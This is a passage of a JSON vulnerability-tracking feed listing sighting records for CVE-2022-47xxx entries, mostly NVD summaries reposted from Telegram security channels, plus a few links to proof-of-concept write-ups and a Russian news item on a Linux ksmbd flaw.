"b81cec1f-f175-401c-a3ed-3800772b0b5d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47660", "type": "seen", "source": "https://t.me/cibsecurity/55981", "content": "\u203c CVE-2022-47660 \u203c\n\nGPAC MP4Box 2.1-DEV-rev644-g5c4df2a67 is has an integer overflow in isomedia/isom_write.c\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-01-05T18:22:29.000000Z"}, {"uuid": "810ff630-ff2e-48d3-b3aa-0de0c980535d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47086", "type": "seen", "source": "https://t.me/cibsecurity/55980", "content": "\u203c CVE-2022-47086 \u203c\n\nGPAC MP4Box v2.1-DEV-rev574-g9d5bb184b contains a segmentation violation via the function gf_sm_load_init_swf at scene_manager/swf_parse.c\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-01-05T18:22:28.000000Z"}, {"uuid": "404b6337-8689-4a72-8707-2c73c846b2fe", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47087", "type": "seen", "source": "https://t.me/cibsecurity/55979", "content": "\u203c CVE-2022-47087 \u203c\n\nGPAC MP4box 2.1-DEV-rev574-g9d5bb184b has a Buffer overflow in gf_vvc_read_pps_bs_internal function of media_tools/av_parsers.c\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-01-05T18:22:27.000000Z"}, {"uuid": "1013d0d7-abe4-4ee0-a7c3-a4b32ec1a094", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47655", "type": "seen", "source": "https://t.me/cibsecurity/55978", "content": "\u203c CVE-2022-47655 \u203c\n\nLibde265 1.0.9 is vulnerable to Buffer Overflow in function void put_qpel_fallback\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-01-05T18:22:26.000000Z"}, {"uuid": "8ddaf33d-8e91-4a5c-b3bc-7b703f8be8b0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47088", "type": "seen", "source": "https://t.me/cibsecurity/55977", "content": "\u203c CVE-2022-47088 \u203c\n\nGPAC MP4box 2.1-DEV-rev574-g9d5bb184b is vulnerable to Buffer Overflow.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-01-05T18:22:25.000000Z"}, {"uuid": "f5ae0d74-23b9-45ee-997f-6796391d9005", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47790", "type": "seen", "source": "https://t.me/cibsecurity/56164", "content": "\u203c CVE-2022-47790 \u203c\n\nSourcecodester Dynamic Transaction Queuing System v1.0 is vulnerable to SQL Injection via /queuing/index.php?page=display&id=.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-01-09T20:27:43.000000Z"}, {"uuid": "ccb39a31-8344-4374-b42e-f8e54aa1c734", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47094", "type": "seen", "source": "https://t.me/cibsecurity/55971", "content": "\u203c CVE-2022-47094 \u203c\n\nGPAC MP4box 2.1-DEV-rev574-g9d5bb184b is vulnerable to Null pointer dereference via filters/dmx_m2ts.c:343 in m2tsdmx_declare_pid\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-01-05T18:22:16.000000Z"}, {"uuid": "80284a43-cf5f-4d6f-bed8-1e79812da191", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47091", "type": "seen", "source": "https://t.me/cibsecurity/55963", "content": "\u203c CVE-2022-47091 \u203c\n\nGPAC MP4box 2.1-DEV-rev574-g9d5bb184b is vulnerable to Buffer Overflow in gf_text_process_sub function of filters/load_text.c\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-01-05T18:22:05.000000Z"}, {"uuid": "a9f28ac9-ff7a-46f7-8f81-dbc41a21fea2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47976", "type": "seen", "source": "https://t.me/cibsecurity/56069", "content": "\u203c CVE-2022-47976 \u203c\n\nThe DMSDP module of the distributed hardware has a vulnerability that may cause imposter control connections.Successful exploitation of this vulnerability may disconnect normal service connections.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-01-06T22:25:09.000000Z"}, {"uuid": "5793fd99-24a9-4e9c-8e7e-2728fa167a3a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47543", "type": "seen", "source": "https://t.me/cibsecurity/56014", "content": "\u203c CVE-2022-47543 \u203c\n\nAn issue was discovered in Siren Investigate before 12.1.7. There is an ACL bypass on global objects.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-01-06T00:19:19.000000Z"}, {"uuid": "975ba01a-7991-4d62-97d3-5add956fafec", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47663", "type": "seen", "source": "https://t.me/cibsecurity/55976", "content": "\u203c CVE-2022-47663 \u203c\n\nGPAC MP4box 2.1-DEV-rev649-ga8f438d20 is vulnerable to buffer overflow in h263dmx_process filters/reframe_h263.c:609\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-01-05T18:22:24.000000Z"}, {"uuid": "14fe60a3-7006-4b54-aff7-0fb42ee59dfd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47656", "type": "seen", "source": "https://t.me/cibsecurity/55975", "content": "\u203c CVE-2022-47656 \u203c\n\nGPAC MP4box 2.1-DEV-rev617-g85ce76efd is vulnerable to Buffer Overflow in gf_hevc_read_sps_bs_internal function of media_tools/av_parsers.c:8273\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-01-05T18:22:22.000000Z"}, {"uuid": "e9e0c76e-7854-42aa-bc4e-a84598e3a42e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47089", "type": "seen", "source": "https://t.me/cibsecurity/55973", "content": "\u203c CVE-2022-47089 \u203c\n\nGPAC MP4box 2.1-DEV-rev574-g9d5bb184b is vulnerable to Buffer Overflow via gf_vvc_read_sps_bs_internal function of media_tools/av_parsers.c\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-01-05T18:22:21.000000Z"}, {"uuid": "2b75f7f3-ac0b-465d-ae25-c4ed942e09d5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47654", "type": "seen", "source": "https://t.me/cibsecurity/55968", "content": "\u203c CVE-2022-47654 \u203c\n\nGPAC MP4box 2.1-DEV-rev593-g007bf61a0 is vulnerable to Buffer Overflow in gf_hevc_read_sps_bs_internal function of media_tools/av_parsers.c:8261\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-01-05T18:22:13.000000Z"}, {"uuid": "98284ef0-1841-4070-ab0a-90f8d159c814", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47662", "type": "seen", "source": "https://t.me/cibsecurity/55967", "content": "\u203c CVE-2022-47662 \u203c\n\nGPAC MP4Box 2.1-DEV-rev649-ga8f438d20 has a segment fault (/stack overflow) due to infinite recursion in Media_GetSample isomedia/media.c:662\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-01-05T18:22:09.000000Z"}, {"uuid": "9931b4a0-6c32-45d6-afd0-6a75efc48f36", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47659", "type": "seen", "source": "https://t.me/cibsecurity/55966", "content": "\u203c CVE-2022-47659 \u203c\n\nGPAC MP4box 2.1-DEV-rev644-g5c4df2a67 is vulnerable to Buffer Overflow in gf_bs_read_data\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-01-05T18:22:08.000000Z"}, {"uuid": "6138d66b-4df9-46af-b468-8b69e8a0bf8e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47653", "type": "seen", "source": "https://t.me/cibsecurity/55964", "content": "\u203c CVE-2022-47653 \u203c\n\nGPAC MP4box 2.1-DEV-rev593-g007bf61a0 is vulnerable to Buffer Overflow in eac3_update_channels function of media_tools/av_parsers.c:9113\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-01-05T18:22:06.000000Z"}, {"uuid": "7c279f3f-5c6a-4738-858b-22c5a16a72a3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47517", "type": "seen", "source": "https://t.me/cibsecurity/54813", "content": "\u203c CVE-2022-47517 \u203c\n\nAn issue was discovered in the libsofia-sip fork in drachtio-server before 0.8.19. It allows remote attackers to cause a denial of service (daemon crash) via a crafted UDP message that causes a url_canonize2 heap-based buffer over-read because of an off-by-one error.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2022-12-18T07:40:29.000000Z"}, {"uuid": "a1808cbe-42f0-4702-bd23-0c7b4665db28", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47926", "type": "seen", "source": "https://t.me/cibsecurity/55127", "content": "\u203c CVE-2022-47926 \u203c\n\nAyaCMS 3.1.2 is vulnerable to file deletion via /aya/module/admin/fst_del.inc.php\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2022-12-22T20:13:49.000000Z"}, {"uuid": "95ee62dc-2617-43c9-b2b2-634a1212474d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47581", "type": "seen", "source": "https://t.me/cibsecurity/55063", "content": "\u203c CVE-2022-47581 \u203c\n\nIsode M-Vault 16.0v0 through 17.x before 17.0v24 can crash upon an LDAP v1 bind request.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2022-12-21T20:12:54.000000Z"}, {"uuid": "559de368-452a-42f6-8dfc-571ec66d2a92", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47635", "type": "seen", "source": "https://t.me/cibsecurity/55045", "content": "\u203c CVE-2022-47635 \u203c\n\nWildix WMS 6 before 6.02.20221216, WMS 5 before 5.04.20221214, and WMS4 before 4.04.45396.23 allows Server-side request forgery (SSRF) via ZohoClient.php.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2022-12-21T12:13:27.000000Z"}, {"uuid": "af02716c-a42e-4453-89ed-15a1ead664b1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47896", "type": "seen", "source": "https://t.me/cibsecurity/55112", "content": "\u203c CVE-2022-47896 \u203c\n\nIn JetBrains IntelliJ IDEA before 2022.3.1 code Templates were vulnerable to SSTI attacks.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2022-12-22T14:18:36.000000Z"}, {"uuid": "a6b18626-7041-44ad-9343-73dbbc864aba", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47895", "type": "seen", "source": "https://t.me/cibsecurity/55111", "content": "\u203c CVE-2022-47895 \u203c\n\nIn JetBrains IntelliJ IDEA before 2022.3.1 the \"Validate JSP File\" action used the HTTP protocol to download required JAR files.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2022-12-22T14:13:33.000000Z"}, {"uuid": "f88980a3-5d05-46dc-a0fb-31b9ec89df51", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47577", "type": "seen", "source": "https://t.me/cibsecurity/54952", "content": "\u203c CVE-2022-47577 \u203c\n\nAn issue was discovered in the endpoint protection agent in Zoho ManageEngine Device Control Plus 10.1.2228.15. Despite configuring complete restrictions on USB pendrives, USB HDD devices, memory cards, USB connections to mobile devices, etc., it is still possible to bypass the USB restrictions by making use of a virtual machine (VM). This allows a file to be exchanged outside the laptop/system. VMs can be created by any user (even without admin rights). The data exfiltration can occur without any record in the audit trail of Windows events on the host machine.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2022-12-20T07:11:59.000000Z"}, {"uuid": "c0137f36-e166-4884-a680-6fec456559c9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47512", "type": "seen", "source": "https://t.me/cibsecurity/54891", "content": "\u203c CVE-2022-47512 \u203c\n\nSensitive information was stored in plain text in a file that is accessible by a user with a local account in Hybrid Cloud Observability (HCO)/ SolarWinds Platform 2022.4. No other versions are affected\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2022-12-19T18:16:49.000000Z"}, {"uuid": "27adcad7-7164-4568-8202-6f8bf649c501", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47578", "type": "seen", "source": "https://t.me/cibsecurity/54950", "content": "\u203c CVE-2022-47578 \u203c\n\nAn issue was discovered in the endpoint protection agent in Zoho ManageEngine Device Control Plus 10.1.2228.15. Despite configuring complete restrictions on USB pendrives, USB HDD devices, memory cards, USB connections to mobile devices, etc., it is still possible to bypass the USB restrictions by booting into Safe Mode. This allows a file to be exchanged outside the laptop/system. Safe Mode can be launched by any user (even without admin rights). Data exfiltration can occur, and also malware might be introduced onto the system.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2022-12-20T07:11:57.000000Z"}, {"uuid": "3faf2667-6b8e-44f2-9f07-7ba27b10f720", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47629", "type": "seen", "source": "https://t.me/cibsecurity/55034", "content": "\u203c CVE-2022-47629 \u203c\n\nLibksba before 1.6.3 is prone to an integer overflow vulnerability in the CRL signature parser.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2022-12-21T02:12:31.000000Z"}, {"uuid": "ce5e5e0d-1b20-4a09-a57e-61614bde50fc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47515", "type": "seen", "source": "https://t.me/cibsecurity/54810", "content": "\u203c CVE-2022-47515 \u203c\n\nAn issue was discovered in drachtio-server before 0.8.20. It allows remote attackers to cause a denial of service (daemon crash) via a long message in a TCP request that leads to std::length_error.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2022-12-18T07:40:26.000000Z"}, {"uuid": "d4025559-59f5-4ad6-8d2e-2c4207121dd0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47551", "type": "seen", "source": "https://t.me/cibsecurity/54944", "content": "\u203c CVE-2022-47551 \u203c\n\nApiman 1.5.7 through 2.2.3.Final has insufficient checks for read permissions within the Apiman Manager REST API. The root cause of the issue is the Apiman project's accidental acceptance of a large contribution that was not fully compatible with the security model of Apiman versions before 3.0.0.Final. Because of this, 3.0.0.Final is not affected by the vulnerability.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2022-12-20T02:11:56.000000Z"}, {"uuid": "e8df8c58-f1de-4968-85b6-b1173e9492cb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47500", "type": "seen", "source": "https://t.me/cibsecurity/54838", "content": "\u203c CVE-2022-47500 \u203c\n\nURL Redirection to Untrusted Site ('Open Redirect') vulnerability in Apache Software Foundation Apache Helix UI component.This issue affects Apache Helix all releases from 0.8.0 to 1.0.4. Solution: removed the the forward component since it was improper designed for UI embedding. User please upgrade to 1.1.0 to fix this issue.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-03-08T05:09:22.000000Z"}, {"uuid": "93cfc5c9-f312-4e1e-90cc-be65ad288f85", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47208", "type": "seen", "source": "https://t.me/cibsecurity/54780", "content": "\u203c CVE-2022-47208 \u203c\n\nThe \u00e2\u20ac\u0153puhttpsniff\u00e2\u20ac\ufffd service, which runs by default, is susceptible to command injection due to improperly sanitized user input. An unauthenticated attacker on the same network segment as the router can execute arbitrary commands on the device without authentication.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2022-12-16T22:24:38.000000Z"}, {"uuid": "0001120a-ab0a-4a05-83ff-90773b173086", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47210", "type": "seen", "source": "https://t.me/cibsecurity/54778", "content": "\u203c CVE-2022-47210 \u203c\n\nThe default console presented to users over telnet (when enabled) is restricted to a subset of commands. Commands issued at this console, however, appear to be fed directly into a system call or other similar function. This allows any authenticated user to execute arbitrary commands on the device.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2022-12-16T22:24:33.000000Z"}, {"uuid": "609af834-8f00-42d3-a23b-438930f7337b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47209", "type": "seen", "source": "https://t.me/cibsecurity/54777", "content": "\u203c CVE-2022-47209 \u203c\n\nA support user exists on the device and appears to be a backdoor for Technical Support staff. The default password for this account is \u00e2\u20ac\u0153support\u00e2\u20ac\ufffd and cannot be changed by a user via any normally accessible means.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2022-12-16T22:24:32.000000Z"}, {"uuid": "d3bb560b-3431-4d5c-ab94-709bbe3748ea", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47514", "type": "seen", "source": "https://t.me/cibsecurity/54812", "content": "\u203c CVE-2022-47514 \u203c\n\nAn XML external entity (XXE) injection vulnerability in XML-RPC.NET before 2.5.0 allows remote authenticated users to conduct server-side request forgery (SSRF) attacks, as demonstrated by a pingback.aspx POST request.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2022-12-18T07:40:28.000000Z"}, {"uuid": "0803d3c7-a847-4ffc-9754-3064f0d82b41", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47516", "type": "seen", "source": "https://t.me/cibsecurity/54811", "content": "\u203c CVE-2022-47516 \u203c\n\nAn issue was discovered in the libsofia-sip fork in drachtio-server before 0.8.20. It allows remote attackers to cause a denial of service (daemon crash) via a crafted UDP message that leads to a failure of the libsofia-sip-ua/tport/tport.c self assertion.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2022-12-18T07:40:27.000000Z"}, {"uuid": "a8bd8851-d2cd-4ee7-a36f-71a1c1591982", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47629", "type": "published-proof-of-concept", "source": "https://t.me/reverseame/3024", "content": "Write-up of CVE-2022-47629 https://github.com/elttam/publications/blob/master/writeups/CVE-2022-47629.md", "creation_timestamp": "2026-08-02T20:15:15.162807Z"}, {"uuid": "ff05a5bc-cdbc-45ee-94e0-5609154e9bdd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47966", "type": "published-proof-of-concept", "source": "https://t.me/reverseame/3064", "content": "CVE-2022-47966 https://attackerkb.com/topics/gvs0Gv8BID/cve-2022-47966/rapid7-analysis", "creation_timestamp": "2026-08-02T20:15:15.309652Z"}, {"uuid": "11862645-eea3-4855-bfc7-74771e9c01ea", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47075", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-07-31)", "content": "", "creation_timestamp": "2026-08-01T10:00:06.443265Z"}, {"uuid": "44522b84-182a-4e4a-a088-608568ee231c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47939", "type": "seen", "source": "https://t.me/shmelovod/673", "content": "\u200b\ud83d\udc27 \u0412 \u044f\u0434\u0440\u0435 Linux \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0439 \u0431\u0430\u0433\n\n\u0421\u043f\u0435\u0446\u0438\u0430\u043b\u0438\u0441\u0442\u044b \u0438\u0437 \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u0438 Thales Group \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0438\u043b\u0438 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0443\u044e \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 \u043c\u043e\u0434\u0443\u043b\u0435 ksmbd \u044f\u0434\u0440\u0430 Linux, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u0431\u044b\u043b \u0434\u043e\u0431\u0430\u0432\u043b\u0435\u043d \u0432 \u0432\u0435\u0440\u0441\u0438\u0438 5.15. \u041e\u0448\u0438\u0431\u043a\u0430 \u043f\u043e\u043b\u0443\u0447\u0438\u043b\u0430 \u0438\u0434\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0442\u043e\u0440 CVE-2022-47939 \u0438 10 \u0431\u0430\u043b\u043b\u043e\u0432 \u043f\u043e \u0448\u043a\u0430\u043b\u0435 CVSS.\n\nksmbd - \u044d\u0442\u043e \u0444\u0430\u0439\u043b\u043e\u0432\u044b\u0439 \u0441\u0435\u0440\u0432\u0435\u0440, \u043e\u0441\u043d\u043e\u0432\u0430\u043d\u043d\u044b\u0439 \u043d\u0430 \u043f\u0440\u043e\u0442\u043e\u043a\u043e\u043b\u0435 SMB3 \u0438 \u044f\u0432\u043b\u044f\u044e\u0449\u0438\u0439\u0441\u044f \u043f\u0440\u043e\u0441\u0442\u043e\u0439 \u0430\u043b\u044c\u0442\u0435\u0440\u043d\u0430\u0442\u0438\u0432\u043e\u0439 Samba. \u041e\u043d \u043e\u0440\u0438\u0435\u043d\u0442\u0438\u0440\u043e\u0432\u0430\u043d \u043d\u0430 \u0431\u043e\u043b\u0435\u0435 \u0432\u044b\u0441\u043e\u043a\u0443\u044e \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u0434\u0438\u0442\u0435\u043b\u044c\u043d\u043e\u0441\u0442\u044c \u0438 \u043d\u043e\u0432\u044b\u0435 \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u0438.\n\n\u041f\u0440\u043e\u0431\u043b\u0435\u043c\u0430 \u0437\u0430\u043a\u043b\u044e\u0447\u0430\u043b\u0430\u0441\u044c \u0432 \u0442\u043e\u043c, \u0447\u0442\u043e ksmbd \u0440\u0430\u0431\u043e\u0442\u0430\u0435\u0442 \u0432 \u0441\u0430\u043c\u043e\u043c \u044f\u0434\u0440\u0435, \u0430 \u043d\u0435 \u0432 \u043f\u0440\u043e\u0441\u0442\u0440\u0430\u043d\u0441\u0442\u0432\u0435 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f. \u0422\u0430\u043a\u0436\u0435 \u0432\u044b\u044f\u0441\u043d\u0438\u043b\u043e\u0441\u044c \u0447\u0442\u043e \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 ksmbd \u043c\u043e\u0436\u0435\u0442 \u043f\u0440\u0438\u0432\u0435\u0441\u0442\u0438 \u043a \u0443\u0442\u0435\u0447\u043a\u0435 \u043f\u0430\u043c\u044f\u0442\u0438 SMB-\u0441\u0435\u0440\u0432\u0435\u0440\u0430, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u0441\u0432\u044f\u0437\u0430\u043d\u0430 \u0441 \u043e\u0442\u0441\u0443\u0442\u0441\u0442\u0432\u0438\u0435\u043c \u0432\u0430\u043b\u0438\u0434\u0430\u0446\u0438\u0438 \u0441\u0443\u0449\u0435\u0441\u0442\u0432\u043e\u0432\u0430\u043d\u0438\u044f \u043e\u0431\u044a\u0435\u043a\u0442\u043e\u0432 \u043f\u0435\u0440\u0435\u0434 \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0435\u043c \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u0439 \u0441 \u043d\u0438\u043c\u0438.\n\n\u0423\u0441\u043f\u0435\u0448\u043d\u0430\u044f \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u043d\u0435\u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u0446\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u043c\u0443 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044e \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e \u0432\u044b\u043f\u043e\u043b\u043d\u0438\u0442\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0439 \u043a\u043e\u0434. \u0420\u0430\u0441\u043a\u0440\u044b\u0442\u0438\u0435 \u0434\u0430\u043d\u043d\u044b\u0445 \u043e\u0431 \u044d\u0442\u043e\u0439 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u043e\u0442\u043b\u043e\u0436\u0438\u043b\u0438 \u043f\u043e\u0447\u0442\u0438 \u043d\u0430 \u043f\u043e\u043b\u0433\u043e\u0434\u0430, \u0442.\u043a. \u0436\u0434\u0430\u043b\u0438 \u0432\u044b\u0445\u043e\u0434\u0430 \u0441\u043e\u043e\u0442\u0432\u0435\u0442\u0441\u0442\u0432\u0443\u044e\u0449\u0435\u0433\u043e \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f \u0432 \u0441\u0438\u043b\u0443 